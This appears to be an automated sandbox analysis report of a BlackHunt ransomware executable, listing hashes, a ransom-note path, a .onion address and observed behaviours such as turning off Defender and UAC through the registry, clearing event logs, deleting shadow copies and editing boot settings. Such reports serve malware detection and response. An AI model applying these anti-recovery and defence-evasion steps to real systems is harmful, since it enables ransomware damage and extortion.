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Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:16
Static task
static1
Behavioral task
behavioral1
Sample
4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe
Resource
win10v2004-20231222-en
General
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Target
4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe
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Size
707KB
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MD5
4a2ab44a76fcb72eceed164a393fe63b
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SHA1
3cc0d8fe462aaf8ca51e769d55ce47d1c52be74d
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SHA256
4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798
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SHA512
96c1026f7f611008c0f0112af008aea3cb2fd56655ff090c60340337498d6e9d5dc923d4f96c1030ee952eef0d9d32141c0d36864044e76095ff0a5d825e47c1
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1L8xvnh:6uaTmkZJ+naie5OTamgEoKxLW6lh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4848 fsutil.exe 2840 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 4660 wevtutil.exe 4764 wevtutil.exe 4400 wevtutil.exe 4664 wevtutil.exe 4480 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2192 bcdedit.exe 860 bcdedit.exe 4756 bcdedit.exe 4868 bcdedit.exe -
Renames multiple (2879) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2648 wbadmin.exe 4704 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 4284 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\W: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\N: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\E: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\J: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Y: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\L: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\M: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\P: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\Z: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\V: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\K: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\X: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\R: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\I: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\S: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\G: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\U: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\A: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\H: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\B: 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened (read-only) \??\M: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\videowall.png 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.hta 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Port-au-Prince 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Seoul 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-attach.xml 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-appui.xml 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\LICENSE 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\time-span-16.png 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\core_visualvm.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\larrow.gif 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-attach.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jre7\lib\jvm.hprof.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\DVD Maker\audiodepthconverter.ax 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EST 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.lock 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_winxp.css 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Beulah 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_ja.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-spi-quicksearch.xml 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\PST8 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.ja_5.5.0.165303.jar 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_ReadMe.hta 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-lib-uihandler.xml 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PPKLite.api 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\MakeAccessible.api 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\7-Zip\Lang\va.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#BlackHunt_ReadMe.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File created C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 648 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1952 vssadmin.exe 1736 vssadmin.exe 5032 vssadmin.exe 1688 vssadmin.exe 2480 vssadmin.exe 2856 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 4780 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4752 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeRestorePrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeBackupPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeTakeOwnershipPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeAuditPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeSecurityPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeIncBasePriorityPrivilege 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Token: SeBackupPrivilege 2552 vssvc.exe Token: SeRestorePrivilege 2552 vssvc.exe Token: SeAuditPrivilege 2552 vssvc.exe Token: SeBackupPrivilege 1756 wbengine.exe Token: SeRestorePrivilege 1756 wbengine.exe Token: SeSecurityPrivilege 1756 wbengine.exe Token: SeSecurityPrivilege 4660 wevtutil.exe Token: SeBackupPrivilege 4660 wevtutil.exe Token: SeSecurityPrivilege 4764 wevtutil.exe Token: SeBackupPrivilege 4764 wevtutil.exe Token: SeSecurityPrivilege 4400 wevtutil.exe Token: SeBackupPrivilege 4400 wevtutil.exe Token: SeSecurityPrivilege 4664 wevtutil.exe Token: SeBackupPrivilege 4664 wevtutil.exe Token: SeSecurityPrivilege 4480 wevtutil.exe Token: SeBackupPrivilege 4480 wevtutil.exe Token: SeDebugPrivilege 4780 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1900 wrote to memory of 2740 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 29 PID 1900 wrote to memory of 2740 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 29 PID 1900 wrote to memory of 2740 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 29 PID 1900 wrote to memory of 2740 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 29 PID 1900 wrote to memory of 2800 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 31 PID 1900 wrote to memory of 2800 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 31 PID 1900 wrote to memory of 2800 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 31 PID 1900 wrote to memory of 2800 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 31 PID 1900 wrote to memory of 2784 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 33 PID 1900 wrote to memory of 2784 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 33 PID 1900 wrote to memory of 2784 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 33 PID 1900 wrote to memory of 2784 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 33 PID 1900 wrote to memory of 2696 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 35 PID 1900 wrote to memory of 2696 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 35 PID 1900 wrote to memory of 2696 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 35 PID 1900 wrote to memory of 2696 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 35 PID 2740 wrote to memory of 2724 2740 Process not Found 36 PID 2740 wrote to memory of 2724 2740 Process not Found 36 PID 2740 wrote to memory of 2724 2740 Process not Found 36 PID 1900 wrote to memory of 2856 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 137 PID 1900 wrote to memory of 2856 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 137 PID 1900 wrote to memory of 2856 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 137 PID 1900 wrote to memory of 2856 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 137 PID 2800 wrote to memory of 2844 2800 cmd.exe 38 PID 2800 wrote to memory of 2844 2800 cmd.exe 38 PID 2800 wrote to memory of 2844 2800 cmd.exe 38 PID 2784 wrote to memory of 2804 2784 cmd.exe 40 PID 2784 wrote to memory of 2804 2784 cmd.exe 40 PID 2784 wrote to memory of 2804 2784 cmd.exe 40 PID 1900 wrote to memory of 2616 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 43 PID 1900 wrote to memory of 2616 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 43 PID 1900 wrote to memory of 2616 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 43 PID 1900 wrote to memory of 2616 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 43 PID 1900 wrote to memory of 2612 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 44 PID 1900 wrote to memory of 2612 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 44 PID 1900 wrote to memory of 2612 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 44 PID 1900 wrote to memory of 2612 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 44 PID 1900 wrote to memory of 2704 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 46 PID 1900 wrote to memory of 2704 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 46 PID 1900 wrote to memory of 2704 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 46 PID 1900 wrote to memory of 2704 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 46 PID 1900 wrote to memory of 2588 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 48 PID 1900 wrote to memory of 2588 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 48 PID 1900 wrote to memory of 2588 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 48 PID 1900 wrote to memory of 2588 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 48 PID 1900 wrote to memory of 2608 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 50 PID 1900 wrote to memory of 2608 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 50 PID 1900 wrote to memory of 2608 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 50 PID 1900 wrote to memory of 2608 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 50 PID 2696 wrote to memory of 2656 2696 cmd.exe 52 PID 2696 wrote to memory of 2656 2696 cmd.exe 52 PID 2696 wrote to memory of 2656 2696 cmd.exe 52 PID 1900 wrote to memory of 2760 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 53 PID 1900 wrote to memory of 2760 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 53 PID 1900 wrote to memory of 2760 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 53 PID 1900 wrote to memory of 2760 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 53 PID 1900 wrote to memory of 2100 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 54 PID 1900 wrote to memory of 2100 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 54 PID 1900 wrote to memory of 2100 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 54 PID 1900 wrote to memory of 2100 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 54 PID 2856 wrote to memory of 2452 2856 vssadmin.exe 56 PID 2856 wrote to memory of 2452 2856 vssadmin.exe 56 PID 2856 wrote to memory of 2452 2856 vssadmin.exe 56 PID 1900 wrote to memory of 1996 1900 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe"C:\Users\Admin\AppData\Local\Temp\4b24ed0666e835e2ab67eabd91427e889623c645df9609082ca976524a7e0798.exe"1⤵
- UAC bypass
